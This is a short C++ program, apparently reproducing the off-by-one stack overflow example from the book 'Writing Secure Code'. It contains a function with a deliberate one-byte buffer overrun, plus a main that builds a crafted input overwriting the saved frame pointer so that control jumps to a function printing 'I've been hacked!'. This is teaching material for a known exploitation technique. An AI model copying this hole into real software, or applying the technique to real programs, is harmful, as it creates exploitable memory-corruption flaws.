My OffByOne.cpp (p. 136 of Writing Secure Code 2nd Ed.)
The source code, compiled with VS.NET 2003 in Release mode without /GS, optimization nor /RTC, ran on Windows XP SP2 ~RC2:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void foo( const char * in )
{
char buf[240] ; // Multiple of 8 and big enough so that modified/corrupted EBP can point into it
strncpy( buf, in, sizeof(buf) ) ;
buf[sizeof(buf)] = '\0' ; //whups - off by one!
}
void bar( const char * in )
{
printf( "Augh! I've been hacked!\n" ) ;
exit(0) ; // As the stack is garbage once we're here, let's just exit in order no to crash.
}
#include <strsafe.h>
static char s[48] ; // Let's not temper with the stack layout...
void main()
{
int p = reinterpret_cast<int>(bar) ;
// With the following code, we build the right buffer that would need to be infered
// and passed to our code (e.g argv, file, ...) in order to have the bar function called when
// returning from main (not foo!):
StringCchPrintf( s,
sizeof(s)/sizeof(s[0]),
"123456789013234567890123456.EBP.%c%c%c%c%c",
static_cast<char>(p & 0xFF),
static_cast<char>((p & 0xFF00) >> 8),
static_cast<char>((p & 0xFF0000) >> 16),
static_cast<char>((p & 0xFF000000) >> 24) ) ;
foo(s) ;
}